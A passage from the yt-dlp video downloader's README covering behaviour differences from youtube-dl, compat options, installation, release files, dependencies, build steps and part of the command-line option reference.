* The default [output template](#output-template) is `%(title)s [%(id)s].%(ext)s`. There is no real reason for this change. This was changed before yt-dlp was ever made public and now there are no plans to change it back to `%(title)s-%(id)s.%(ext)s`. Instead, you may use `--compat-options filename`
* The default [format sorting](#sorting-formats) is different from youtube-dl and prefers higher resolution and better codecs rather than higher bitrates. You can use the `--format-sort` option to change this to any order you prefer, or use `--compat-options format-sort` to use youtube-dl's sorting order
* The default format selector is `bv*+ba/b`. This means that if a combined video + audio format that is better than the best video-only format is found, the former will be preferred. Use `-f bv+ba/b` or `--compat-options format-spec` to revert this
* Unlike youtube-dlc, yt-dlp does not allow merging multiple audio/video streams into one file by default (since this conflicts with the use of `-f bv*+ba`). If needed, this feature must be enabled using `--audio-multistreams` and `--video-multistreams`. You can also use `--compat-options multistreams` to enable both
* `--no-abort-on-error` is enabled by default. Use `--abort-on-error` or `--compat-options abort-on-error` to abort on errors instead
* When writing metadata files such as thumbnails, description or infojson, the same information (if available) is also written for playlists. Use `--no-write-playlist-metafiles` or `--compat-options no-playlist-metafiles` to not write these files
* `--add-metadata` attaches the `infojson` to `mkv` files in addition to writing the metadata when used with `--write-info-json`. Use `--no-embed-info-json` or `--compat-options no-attach-info-json` to revert this
* Some metadata are embedded into different fields when using `--add-metadata` as compared to youtube-dl. Most notably, `comment` field contains the `webpage_url` and `synopsis` contains the `description`. You can [use `--parse-metadata`](#modifying-metadata) to modify this to your liking or use `--compat-options embed-metadata` to revert this
* `playlist_index` behaves differently when used with options like `--playlist-reverse` and `--playlist-items`. See [#302](https://github.com/yt-dlp/yt-dlp/issues/302) for details. You can use `--compat-options playlist-index` if you want to keep the earlier behavior
* The output of `-F` is listed in a new format. Use `--compat-options list-formats` to revert this
* Live chats (if available) are considered as subtitles. Use `--sub-langs all,-live_chat` to download all subtitles except live chat. You can also use `--compat-options no-live-chat` to prevent any live chat/danmaku from downloading
* YouTube channel URLs download all uploads of the channel. To download only the videos in a specific tab, pass the tab's URL. If the channel does not show the requested tab, an error will be raised. Also, `/live` URLs raise an error if there are no live videos instead of silently downloading the entire channel. You may use `--compat-options no-youtube-channel-redirect` to revert all these redirections
* Unavailable videos are also listed for YouTube playlists. Use `--compat-options no-youtube-unavailable-videos` to remove this
* The upload dates extracted from YouTube are in UTC [when available](https://github.com/yt-dlp/yt-dlp/blob/89e4d86171c7b7c997c77d4714542e0383bf0db0/yt_dlp/extractor/youtube.py#L3898-L3900). Use `--compat-options no-youtube-prefer-utc-upload-date` to prefer the non-UTC upload date.
* If `ffmpeg` is used as the downloader, the downloading and merging of formats happen in a single step when possible. Use `--compat-options no-direct-merge` to revert this
* Thumbnail embedding in `mp4` is done with mutagen if possible. Use `--compat-options embed-thumbnail-atomicparsley` to force the use of AtomicParsley instead
* Some internal metadata such as filenames are removed by default from the infojson. Use `--no-clean-infojson` or `--compat-options no-clean-infojson` to revert this
* When `--embed-subs` and `--write-subs` are used together, the subtitles are written to disk and also embedded in the media file. You can use just `--embed-subs` to embed the subs and automatically delete the separate file. See [#630 (comment)](https://github.com/yt-dlp/yt-dlp/issues/630#issuecomment-893659460) for more info. `--compat-options no-keep-subs` can be used to revert this
* `certifi` will be used for SSL root certificates, if installed. If you want to use system certificates (e.g. self-signed), use `--compat-options no-certifi`
* yt-dlp's sanitization of invalid characters in filenames is different/smarter than in youtube-dl. You can use `--compat-options filename-sanitization` to revert to youtube-dl's behavior
* yt-dlp tries to parse the external downloader outputs into the standard progress output if possible (Currently implemented: [~~aria2c~~](https://github.com/yt-dlp/yt-dlp/issues/5931)). You can use `--compat-options no-external-downloader-progress` to get the downloader output as-is
* yt-dlp versions between 2021.09.01 and 2023.01.02 applies `--match-filter` to nested playlists. This was an unintentional side-effect of [8f18ac](https://github.com/yt-dlp/yt-dlp/commit/8f18aca8717bb0dd49054555af8d386e5eda3a88) and is fixed in [d7b460](https://github.com/yt-dlp/yt-dlp/commit/d7b460d0e5fc710950582baed2e3fc616ed98a80). Use `--compat-options playlist-match-filter` to revert this
For ease of use, a few more compat options are available:
* `--compat-options all`: Use all compat options (Do NOT use)
* `--compat-options youtube-dl`: Same as `--compat-options all,-multistreams,-playlist-match-filter`
* `--compat-options youtube-dlc`: Same as `--compat-options all,-no-live-chat,-no-youtube-channel-redirect,-playlist-match-filter`
* `--compat-options 2021`: Same as `--compat-options 2022,no-certifi,filename-sanitization,no-youtube-prefer-utc-upload-date`
* `--compat-options 2022`: Same as `--compat-options playlist-match-filter,no-external-downloader-progress`. Use this to enable all future compat options
# INSTALLATION
<!-- MANPAGE: BEGIN EXCLUDED SECTION -->
[](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.exe)
[](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp)
[](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos)
[](https://pypi.org/project/yt-dlp)
[](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.tar.gz)
[](#release-files)
[](https://github.com/yt-dlp/yt-dlp/releases)
<!-- MANPAGE: END EXCLUDED SECTION -->
You can install yt-dlp using [the binaries](#release-files), [pip](https://pypi.org/project/yt-dlp) or one using a third-party package manager. See [the wiki](https://github.com/yt-dlp/yt-dlp/wiki/Installation) for detailed instructions
## UPDATE
You can use `yt-dlp -U` to update if you are using the [release binaries](#release-files)
If you [installed with pip](https://github.com/yt-dlp/yt-dlp/wiki/Installation#with-pip), simply re-run the same command that was used to install the program
For other third-party package managers, see [the wiki](https://github.com/yt-dlp/yt-dlp/wiki/Installation#third-party-package-managers) or refer their documentation
<a id="update-channels"/>
There are currently two release channels for binaries, `stable` and `nightly`.
`stable` is the default channel, and many of its changes have been tested by users of the nightly channel.
The `nightly` channel has releases built after each push to the master branch, and will have the most recent fixes and additions, but also have more risk of regressions. They are available in [their own repo](https://github.com/yt-dlp/yt-dlp-nightly-builds/releases).
When using `--update`/`-U`, a release binary will only update to its current channel.
`--update-to CHANNEL` can be used to switch to a different channel when a newer version is available. `--update-to [CHANNEL@]TAG` can also be used to upgrade or downgrade to specific tags from a channel.
You may also use `--update-to <repository>` (`<owner>/<repository>`) to update to a channel on a completely different repository. Be careful with what repository you are updating to though, there is no verification done for binaries from different repositories.
Example usage:
* `yt-dlp --update-to nightly` change to `nightly` channel and update to its latest release
* `yt-dlp --update-to [email protected]` upgrade/downgrade to release to `stable` channel tag `2023.02.17`
* `yt-dlp --update-to 2023.01.06` upgrade/downgrade to tag `2023.01.06` if it exists on the current channel
* `yt-dlp --update-to example/[email protected]` upgrade/downgrade to the release from the `example/yt-dlp` repository, tag `2023.03.01`
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## RELEASE FILES
#### Recommended
File|Description
:---|:---
[yt-dlp](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp)|Platform-independent [zipimport](https://docs.python.org/3/library/zipimport.html) binary. Needs Python (recommended for **Linux/BSD**)
[yt-dlp.exe](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.exe)|Windows (Win7 SP1+) standalone x64 binary (recommended for **Windows**)
[yt-dlp_macos](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos)|Universal MacOS (10.15+) standalone executable (recommended for **MacOS**)
#### Alternatives
File|Description
:---|:---
[yt-dlp_x86.exe](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_x86.exe)|Windows (Vista SP2+) standalone x86 (32-bit) binary
[yt-dlp_min.exe](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_min.exe)|Windows (Win7 SP1+) standalone x64 binary built with `py2exe`<br/> ([Not recommended](#standalone-py2exe-builds-windows))
[yt-dlp_linux](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux)|Linux standalone x64 binary
[yt-dlp_linux.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux.zip)|Unpackaged Linux executable (no auto-update)
[yt-dlp_linux_armv7l](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux_armv7l)|Linux standalone armv7l (32-bit) binary
[yt-dlp_linux_aarch64](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux_aarch64)|Linux standalone aarch64 (64-bit) binary
[yt-dlp_win.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_win.zip)|Unpackaged Windows executable (no auto-update)
[yt-dlp_macos.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos.zip)|Unpackaged MacOS (10.15+) executable (no auto-update)
[yt-dlp_macos_legacy](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos_legacy)|MacOS (10.9+) standalone x64 executable
#### Misc
File|Description
:---|:---
[yt-dlp.tar.gz](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.tar.gz)|Source tarball
[SHA2-512SUMS](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-512SUMS)|GNU-style SHA512 sums
[SHA2-512SUMS.sig](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-512SUMS.sig)|GPG signature file for SHA512 sums
[SHA2-256SUMS](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-256SUMS)|GNU-style SHA256 sums
[SHA2-256SUMS.sig](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-256SUMS.sig)|GPG signature file for SHA256 sums
The public key that can be used to verify the GPG signatures is [available here](https://github.com/yt-dlp/yt-dlp/blob/master/public.key)
Example usage:
```
curl -L https://github.com/yt-dlp/yt-dlp/raw/master/public.key | gpg --import
gpg --verify SHA2-256SUMS.sig SHA2-256SUMS
gpg --verify SHA2-512SUMS.sig SHA2-512SUMS
```
<!-- MANPAGE: END EXCLUDED SECTION -->
**Note**: The manpages, shell completion (autocomplete) files etc. are available inside the [source tarball](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.tar.gz)
## DEPENDENCIES
Python versions 3.7+ (CPython and PyPy) are supported. Other versions and implementations may or may not work correctly.
<!-- Python 3.5+ uses VC++14 and it is already embedded in the binary created
<!x-- https://www.microsoft.com/en-us/download/details.aspx?id=26999 --x>
On windows, [Microsoft Visual C++ 2010 SP1 Redistributable Package (x86)](https://download.microsoft.com/download/1/6/5/165255E7-1014-4D0A-B094-B6A430A6BFFC/vcredist_x86.exe) is also necessary to run yt-dlp. You probably already have this, but if the executable throws an error due to missing `MSVCR100.dll` you need to install it manually.
-->
While all the other dependencies are optional, `ffmpeg` and `ffprobe` are highly recommended
### Strongly recommended
* [**ffmpeg** and **ffprobe**](https://www.ffmpeg.org) - Required for [merging separate video and audio files](#format-selection) as well as for various [post-processing](#post-processing-options) tasks. License [depends on the build](https://www.ffmpeg.org/legal.html)
There are bugs in ffmpeg that causes various issues when used alongside yt-dlp. Since ffmpeg is such an important dependency, we provide [custom builds](https://github.com/yt-dlp/FFmpeg-Builds#ffmpeg-static-auto-builds) with patches for some of these issues at [yt-dlp/FFmpeg-Builds](https://github.com/yt-dlp/FFmpeg-Builds). See [the readme](https://github.com/yt-dlp/FFmpeg-Builds#patches-applied) for details on the specific issues solved by these builds
**Important**: What you need is ffmpeg *binary*, **NOT** [the python package of the same name](https://pypi.org/project/ffmpeg)
### Networking
* [**certifi**](https://github.com/certifi/python-certifi)\* - Provides Mozilla's root certificate bundle. Licensed under [MPLv2](https://github.com/certifi/python-certifi/blob/master/LICENSE)
* [**brotli**](https://github.com/google/brotli)\* or [**brotlicffi**](https://github.com/python-hyper/brotlicffi) - [Brotli](https://en.wikipedia.org/wiki/Brotli) content encoding support. Both licensed under MIT <sup>[1](https://github.com/google/brotli/blob/master/LICENSE) [2](https://github.com/python-hyper/brotlicffi/blob/master/LICENSE) </sup>
* [**websockets**](https://github.com/aaugustin/websockets)\* - For downloading over websocket. Licensed under [BSD-3-Clause](https://github.com/aaugustin/websockets/blob/main/LICENSE)
### Metadata
* [**mutagen**](https://github.com/quodlibet/mutagen)\* - For `--embed-thumbnail` in certain formats. Licensed under [GPLv2+](https://github.com/quodlibet/mutagen/blob/master/COPYING)
* [**AtomicParsley**](https://github.com/wez/atomicparsley) - For `--embed-thumbnail` in `mp4`/`m4a` files when `mutagen`/`ffmpeg` cannot. Licensed under [GPLv2+](https://github.com/wez/atomicparsley/blob/master/COPYING)
* [**xattr**](https://github.com/xattr/xattr), [**pyxattr**](https://github.com/iustin/pyxattr) or [**setfattr**](http://savannah.nongnu.org/projects/attr) - For writing xattr metadata (`--xattr`) on **Linux**. Licensed under [MIT](https://github.com/xattr/xattr/blob/master/LICENSE.txt), [LGPL2.1](https://github.com/iustin/pyxattr/blob/master/COPYING) and [GPLv2+](http://git.savannah.nongnu.org/cgit/attr.git/tree/doc/COPYING) respectively
### Misc
* [**pycryptodomex**](https://github.com/Legrandin/pycryptodome)\* - For decrypting AES-128 HLS streams and various other data. Licensed under [BSD-2-Clause](https://github.com/Legrandin/pycryptodome/blob/master/LICENSE.rst)
* [**phantomjs**](https://github.com/ariya/phantomjs) - Used in extractors where javascript needs to be run. Licensed under [BSD-3-Clause](https://github.com/ariya/phantomjs/blob/master/LICENSE.BSD)
* [**secretstorage**](https://github.com/mitya57/secretstorage) - For `--cookies-from-browser` to access the **Gnome** keyring while decrypting cookies of **Chromium**-based browsers on **Linux**. Licensed under [BSD-3-Clause](https://github.com/mitya57/secretstorage/blob/master/LICENSE)
* Any external downloader that you want to use with `--downloader`
### Deprecated
* [**avconv** and **avprobe**](https://www.libav.org) - Now **deprecated** alternative to ffmpeg. License [depends on the build](https://libav.org/legal)
* [**sponskrub**](https://github.com/faissaloo/SponSkrub) - For using the now **deprecated** [sponskrub options](#sponskrub-options). Licensed under [GPLv3+](https://github.com/faissaloo/SponSkrub/blob/master/LICENCE.md)
* [**rtmpdump**](http://rtmpdump.mplayerhq.hu) - For downloading `rtmp` streams. ffmpeg can be used instead with `--downloader ffmpeg`. Licensed under [GPLv2+](http://rtmpdump.mplayerhq.hu)
* [**mplayer**](http://mplayerhq.hu/design7/info.html) or [**mpv**](https://mpv.io) - For downloading `rstp`/`mms` streams. ffmpeg can be used instead with `--downloader ffmpeg`. Licensed under [GPLv2+](https://github.com/mpv-player/mpv/blob/master/Copyright)
To use or redistribute the dependencies, you must agree to their respective licensing terms.
The standalone release binaries are built with the Python interpreter and the packages marked with **\*** included.
If you do not have the necessary dependencies for a task you are attempting, yt-dlp will warn you. All the currently available dependencies are visible at the top of the `--verbose` output
## COMPILE
### Standalone PyInstaller Builds
To build the standalone executable, you must have Python and `pyinstaller` (plus any of yt-dlp's [optional dependencies](#dependencies) if needed). Once you have all the necessary dependencies installed, simply run `pyinst.py`. The executable will be built for the same architecture (x86/ARM, 32/64 bit) as the Python used.
python3 -m pip install -U pyinstaller -r requirements.txt
python3 devscripts/make_lazy_extractors.py
python3 pyinst.py
On some systems, you may need to use `py` or `python` instead of `python3`.
`pyinst.py` accepts any arguments that can be passed to `pyinstaller`, such as `--onefile/-F` or `--onedir/-D`, which is further [documented here](https://pyinstaller.org/en/stable/usage.html#what-to-generate).
**Note**: Pyinstaller versions below 4.4 [do not support](https://github.com/pyinstaller/pyinstaller#requirements-and-tested-platforms) Python installed from the Windows store without using a virtual environment.
**Important**: Running `pyinstaller` directly **without** using `pyinst.py` is **not** officially supported. This may or may not work correctly.
### Platform-independent Binary (UNIX)
You will need the build tools `python` (3.7+), `zip`, `make` (GNU), `pandoc`\* and `pytest`\*.
After installing these, simply run `make`.
You can also run `make yt-dlp` instead to compile only the binary without updating any of the additional files. (The build tools marked with **\*** are not needed for this)
### Standalone Py2Exe Builds (Windows)
While we provide the option to build with [py2exe](https://www.py2exe.org), it is recommended to build [using PyInstaller](#standalone-pyinstaller-builds) instead since the py2exe builds **cannot contain `pycryptodomex`/`certifi` and needs VC++14** on the target computer to run.
If you wish to build it anyway, install Python and py2exe, and then simply run `setup.py py2exe`
py -m pip install -U py2exe -r requirements.txt
py devscripts/make_lazy_extractors.py
py setup.py py2exe
### Related scripts
* **`devscripts/update-version.py`** - Update the version number based on current date.
* **`devscripts/set-variant.py`** - Set the build variant of the executable.
* **`devscripts/make_changelog.py`** - Create a markdown changelog using short commit messages and update `CONTRIBUTORS` file.
* **`devscripts/make_lazy_extractors.py`** - Create lazy extractors. Running this before building the binaries (any variant) will improve their startup performance. Set the environment variable `YTDLP_NO_LAZY_EXTRACTORS=1` if you wish to forcefully disable lazy extractor loading.
Note: See their `--help` for more info.
### Forking the project
If you fork the project on GitHub, you can run your fork's [build workflow](.github/workflows/build.yml) to automatically build the selected version(s) as artifacts. Alternatively, you can run the [release workflow](.github/workflows/release.yml) or enable the [nightly workflow](.github/workflows/release-nightly.yml) to create full (pre-)releases.
# USAGE AND OPTIONS
<!-- MANPAGE: BEGIN EXCLUDED SECTION -->
yt-dlp [OPTIONS] [--] URL [URL...]
`Ctrl+F` is your friend :D
<!-- MANPAGE: END EXCLUDED SECTION -->
<!-- Auto generated -->
## General Options:
-h, --help Print this help text and exit
--version Print program version and exit
-U, --update Update this program to the latest version
--no-update Do not check for updates (default)
--update-to [CHANNEL]@[TAG] Upgrade/downgrade to a specific version.
CHANNEL can be a repository as well. CHANNEL
and TAG default to "stable" and "latest"
respectively if omitted; See "UPDATE" for
details. Supported channels: stable, nightly
-i, --ignore-errors Ignore download and postprocessing errors.
The download will be considered successful
even if the postprocessing fails
--no-abort-on-error Continue with next video on download errors;
e.g. to skip unavailable videos in a
playlist (default)
--abort-on-error Abort downloading of further videos if an
error occurs (Alias: --no-ignore-errors)
--dump-user-agent Display the current user-agent and exit
--list-extractors List all supported extractors and exit
--extractor-descriptions Output descriptions of all supported
extractors and exit
--use-extractors NAMES Extractor names to use separated by commas.
You can also use regexes, "all", "default"
and "end" (end URL matching); e.g. --ies
"holodex.*,end,youtube". Prefix the name
with a "-" to exclude it, e.g. --ies
default,-generic. Use --list-extractors for
a list of extractor names. (Alias: --ies)
--default-search PREFIX Use this prefix for unqualified URLs. E.g.
"gvsearch2:python" downloads two videos from
google videos for the search term "python".
Use the value "auto" to let yt-dlp guess
("auto_warning" to emit a warning when
guessing). "error" just throws an error. The
default value "fixup_error" repairs broken
URLs, but emits an error if this is not
possible instead of searching
--ignore-config Don't load any more configuration files
except those given by --config-locations.
For backward compatibility, if this option
is found inside the system configuration
file, the user configuration is not loaded.
(Alias: --no-config)
--no-config-locations Do not load any custom configuration files
(default). When given inside a configuration
file, ignore all previous --config-locations
defined in the current file
--config-locations PATH Location of the main configuration file;
either the path to the config or its
containing directory ("-" for stdin). Can be
used multiple times and inside other
configuration files
--flat-playlist Do not extract the videos of a playlist,
only list them
--no-flat-playlist Fully extract the videos of a playlist
(default)
--live-from-start Download livestreams from the start.
Currently only supported for YouTube
(Experimental)
--no-live-from-start Download livestreams from the current time
(default)
--wait-for-video MIN[-MAX] Wait for scheduled streams to become
available. Pass the minimum number of
seconds (or range) to wait between retries
--no-wait-for-video Do not wait for scheduled streams (default)
--mark-watched Mark videos watched (even with --simulate)
--no-mark-watched Do not mark videos watched (default)
--color [STREAM:]POLICY Whether to emit color codes in output,
optionally prefixed by the STREAM (stdout or
stderr) to apply the setting to. Can be one
of "always", "auto" (default), "never", or
"no_color" (use non color terminal
sequences). Can be used multiple times
--compat-options OPTS Options that can help keep compatibility
with youtube-dl or youtube-dlc
configurations by reverting some of the
changes made in yt-dlp. See "Differences in
default behavior" for details
--alias ALIASES OPTIONS Create aliases for an option string. Unless
an alias starts with a dash "-", it is
prefixed with "--". Arguments are parsed
according to the Python string formatting
mini-language. E.g. --alias get-audio,-X
"-S=aext:{0},abr -x --audio-format {0}"
creates options "--get-audio" and "-X" that
takes an argument (ARG0) and expands to
"-S=aext:ARG0,abr -x --audio-format ARG0".
All defined aliases are listed in the --help
output. Alias options can trigger more
aliases; so be careful to avoid defining
recursive options. As a safety measure, each
alias may be triggered a maximum of 100
times. This option can be used multiple times
## Network Options:
--proxy URL Use the specified HTTP/HTTPS/SOCKS proxy. To
enable SOCKS proxy, specify a proper scheme,
e.g. socks5://user:[email protected]:1080/.
Pass in an empty string (--proxy "") for
direct connection
--socket-timeout SECONDS Time to wait before giving up, in seconds
--source-address IP Client-side IP address to bind to
-4, --force-ipv4 Make all connections via IPv4
-6, --force-ipv6 Make all connections via IPv6
--enable-file-urls Enable file:// URLs. This is disabled by
default for security reasons.
## Geo-restriction:
--geo-verification-proxy URL Use this proxy to verify the IP address for
some geo-restricted sites. The default proxy
specified by --proxy (or none, if the option
is not present) is used for the actual
downloading
--xff VALUE How to fake X-Forwarded-For HTTP header to
try bypassing geographic restriction. One of
"default" (only when known to be useful),
"never", an IP block in CIDR notation, or a
two-letter ISO 3166-2 country code
## Video Selection:
-I, --playlist-items ITEM_SPEC Comma separated playlist_index of the items
to download. You can specify a range using
"[START]:[STOP][:STEP]". For backward
compatibility, START-STOP is also supported.
Use negative indices to count from the right
and negative STEP to download in reverse
order. E.g. "-I 1:3,7,-5::2" used on a
playlist of size 15 will download the items
at index 1,2,3,7,11,13,15
--min-filesize SIZE Abort download if filesize is smaller than
SIZE, e.g. 50k or 44.6M
--max-filesize SIZE Abort download if filesize is larger than
SIZE, e.g. 50k or 44.6M
--date DATE Download only videos uploaded on this date.
The date can be "YYYYMMDD" or in the format
[now|today|yesterday][-N[day|week|month|year]].
E.g. "--date today-2weeks" downloads only
videos uploaded on the same day two weeks ago
--datebefore DATE Download only videos uploaded on or before
this date. The date formats accepted is the
same as --date
--dateafter DATE Download only videos uploaded on or after
this date. The date formats accepted is the
same as --date
--match-filters FILTER Generic video filter. Any "OUTPUT TEMPLATE"
field can be compared with a number or a
string using the operators defined in
"Filtering Formats". You can also simply
specify a field to match if the field is
present, use "!field" to check if the field
is not present, and "&" to check multiple
conditions. Use a "\" to escape "&" or
quotes if needed. If used multiple times,
the filter matches if atleast one of the
conditions are met. E.g. --match-filter
!is_live --match-filter "like_count>?100 &
description~='(?i)\bcats \& dogs\b'" matches
only videos that are not live OR those that
have a like count more than 100 (or the like
field is not available) and also has a
description that contains the phrase "cats &
dogs" (caseless). Use "--match-filter -" to
interactively ask whether to download each
video
--no-match-filters Do not use any --match-filter (default)
--break-match-filters FILTER Same as "--match-filters" but stops the
download process when a video is rejected
--no-break-match-filters Do not use any --break-match-filters (default)
--no-playlist Download only the video, if the URL refers
to a video and a playlist
--yes-playlist Download the playlist, if the URL refers to
a video and a playlist
--age-limit YEARS Download only videos suitable for the given
age
--download-archive FILE Download only videos not listed in the
archive file. Record the IDs of all
downloaded videos in it
--no-download-archive Do not use archive file (default)
--max-downloads NUMBER Abort after downloading NUMBER files
--break-on-existing Stop the download process when encountering
a file that is in the archive
--break-per-input Alters --max-downloads, --break-on-existing,
--break-match-filter, and autonumber to
reset per input URL
--no-break-per-input --break-on-existing and similar options
terminates the entire download queue
--skip-playlist-after-errors N Number of allowed failures until the rest of
the playlist is skipped
## Download Options:
-N, --concurrent-fragments N Number of fragments of a dash/hlsnative
video that should be downloaded concurrently
(default is 1)
-r, --limit-rate RATE Maximum download rate in bytes per second,
e.g. 50K or 4.2M
--throttled-rate RATE Minimum download rate in bytes per second
below which throttling is assumed and the
video data is re-extracted, e.g. 100K
-R, --retries RETRIES Number of retries (default is 10), or
"infinite"
--file-access-retries RETRIES Number of times to retry on file access
error (default is 3), or "infinite"
--fragment-retries RETRIES Number of retries for a fragment (default is
10), or "infinite" (DASH, hlsnative and ISM)
--retry-sleep [TYPE:]EXPR Time to sleep between retries in seconds
(optionally) prefixed by the type of retry
(http (default), fragment, file_access,
extractor) to apply the sleep to. EXPR can
be a number, linear=START[:END[:STEP=1]] or
exp=START[:END[:BASE=2]]. This option can be
used multiple times to set the sleep for the
different retry types, e.g. --retry-sleep
linear=1::2 --retry-sleep fragment:exp=1:20
--skip-unavailable-fragments Skip unavailable fragments for DASH,
hlsnative and ISM downloads (default)
(Alias: --no-abort-on-unavailable-fragments)
--abort-on-unavailable-fragments
Abort download if a fragment is unavailable
(Alias: --no-skip-unavailable-fragments)
--keep-fragments Keep downloaded fragments on disk after
downloading is finished
--no-keep-fragments Delete downloaded fragments after
downloading is finished (default)
--buffer-size SIZE Size of download buffer, e.g. 1024 or 16K
(default is 1024)
--resize-buffer The buffer size is automatically resized
from an initial value of --buffer-size
(default)
--no-resize-buffer Do not automatically adjust the buffer size
--http-chunk-size SIZE Size of a chunk for chunk-based HTTP
downloading, e.g. 10485760 or 10M (default
is disabled). May be useful for bypassing
bandwidth throttling imposed by a webserver
(experimental)
--playlist-random Download playlist videos in random order
--lazy-playlist Process entries in the playlist as they are
received. This disables n_entries,
--playlist-random and --playlist-reverse
--no-lazy-playlist Process videos in the playlist only after
the entire playlist is parsed (default)
--xattr-set-filesize Set file xattribute ytdl.filesize with
expected file size
--hls-use-mpegts Use the mpegts container for HLS videos;
allowing some players to play the video
while downloading, and reducing the chance
of file corruption if download is
interrupted. This is enabled by default for
live streams
--no-hls-use-mpegts Do not use the mpegts container for HLS
videos. This is default when not downloading
live streams
--download-sections REGEX Download only chapters that match the
regular expression. A "*" prefix denotes
time-range instead of chapter. Negative
timestamps are calculated from the end.
"*from-url" can be used to download between
the "start_time" and "end_time" extracted
from the URL. Needs ffmpeg. This option can
be used multiple times to download multiple
sections, e.g. --download-sections
"*10:15-inf" --download-sections "intro"
--downloader [PROTO:]NAME Name or path of the external downloader to
use (optionally) prefixed by the protocols
(http, ftp, m3u8, dash, rstp, rtmp, mms) to
use it for. Currently supports native,
aria2c, avconv, axel, curl, ffmpeg, httpie,
wget. You can use this option multiple times
to set different downloaders for different
protocols. E.g. --downloader aria2c
--downloader "dash,m3u8:native" will use
aria2c for http/ftp downloads, and the
native downloader for dash/m3u8 downloads
(Alias: --external-downloader)
--downloader-args NAME:ARGS Give these arguments to the external
downloader. Specify the downloader name and
the arguments separated by a colon ":". For
ffmpeg, arguments can be passed to different
positions using the same syntax as
--postprocessor-args. You can use this
option multiple times to give different
arguments to different downloaders (Alias:
--external-downloader-args)
## Filesystem Options:
-a, --batch-file FILE File containing URLs to download ("-" for
stdin), one URL per line. Lines starting
with "#", ";" or "]" are considered as
comments and ignored
--no-batch-file Do not read URLs from batch file (default)
-P, --paths [TYPES:]PATH The paths where the files should be
downloaded. Specify the type of file and the
path separated by a colon ":". All the same
TYPES as --output are supported.
Additionally, you can also provide "home"
(default) and "temp" paths. All intermediary
files are first downloaded to the temp path
and then the final files are moved over to
the home path after download is finished.
This option is ignored if --output is an
absolute path
-o, --output [TYPES:]TEMPLATE Output filename template; see "OUTPUT
TEMPLATE" for details
--output-na-placeholder TEXT Placeholder for unavailable fields in
"OUTPUT TEMPLATE" (default: "NA")
--restrict-filenames Restrict filenames to only ASCII characters,
and avoid "&" and spaces in filenames
--no-restrict-filenames Allow Unicode characters, "&" and spaces in
filenames (default)
--windows-filenames Force filenames to be Windows-compatible
--no-windows-filenames Make filenames Windows-compatible only if
using Windows (default)
--trim-filenames LENGTH Limit the filename length (excluding
extension) to the specified number of
characters
-w, --no-overwrites Do not overwrite any files
--force-overwrites Overwrite all video and metadata files. This
option includes --no-continue
--no-force-overwrites Do not overwrite the video, but overwrite
related files (default)
-c, --continue Resume partially downloaded files/fragments
(default)
--no-continue Do not resume partially downloaded
fragments. If the file is not fragmented,
restart download of the entire file
--part Use .part files instead of writing directly
into output file (default)
--no-part Do not use .part files - write directly into
output file
--mtime Use the Last-modified header to set the file
modification time (default)
--no-mtime Do not use the Last-modified header to set
the file modification time
--write-description Write video description to a .description file
--no-write-description Do not write video description (default)
--write-info-json Write video metadata to a .info.json file
(this may contain personal information)
--no-write-info-json Do not write video metadata (default)
--write-playlist-metafiles Write playlist metadata in addition to the
video metadata when using --write-info-json,
--write-description etc. (default)
--no-write-playlist-metafiles Do not write playlist metadata when using
--write-info-json, --write-description etc.
--clean-info-json Remove some internal metadata such as
filenames from the infojson (default)
--no-clean-info-json Write all fields to the infojson
--write-comments Retrieve video comments to be placed in the
infojson. The comments are fetched even
without this option if the extraction is
known to be quick (Alias: --get-comments)
--no-write-comments Do not retrieve video comments unless the
extraction is known to be quick (Alias:
--no-get-comments)
--load-info-json FILE JSON file containing the video information
(created with the "--write-info-json" option)
--cookies FILE Netscape formatted file to read cookies from
and dump cookie jar in
--no-cookies Do not read/dump cookies from/to file
(default)
--cookies-from-browser BROWSER[+KEYRING][:PROFILE][::CONTAINER]
The name of the browser to load cookies
from. Currently supported browsers are:
brave, chrome, chromium, edge, firefox,
opera, safari, vivaldi. Optionally, the
KEYRING used for decrypting Chromium cookies
on Linux, the name/path of the PROFILE to
load cookies from, and the CONTAINER name
(if Firefox) ("none" for no container) can
be given with their respective seperators.
By default, all containers of the most
recently accessed profile are used.
Currently supported keyrings are: basictext,
gnomekeyring, kwallet, kwallet5, kwallet6
--no-cookies-from-browser Do not load cookies from browser (default)
--cache-dir DIR Location in the filesystem where yt-dlp can
store some downloaded information (such as
client ids and signatures) permanently. By
default ${XDG_CACHE_HOME}/yt-dlp
--no-cache-dir Disable filesystem caching
--rm-cache-dir Delete all filesystem cache files
## Thumbnail Options:
--write-thumbnail Write thumbnail image to disk
--no-write-thumbnail Do not write thumbnail image to disk (default)
--write-all-thumbnails Write all thumbnail image formats to disk
--list-thumbnails List available thumbnails of each video.
Simulate unless --no-simulate is used
## Internet Shortcut Options:
--write-link Write an internet shortcut file, depending
on the current platform (.url, .webloc or
.desktop). The URL may be cached by the OS
--write-url-link Write a .url Windows internet shortcut. The
OS caches the URL based on the file path
--write-webloc-link Write a .webloc macOS internet shortcut
--write-desktop-link Write a .desktop Linux internet shortcut
## Verbosity and Simulation Options:
-q, --quiet Activate quiet mode. If used with --verbose,
print the log to stderr
--no-quiet Deactivate quiet mode. (Default)
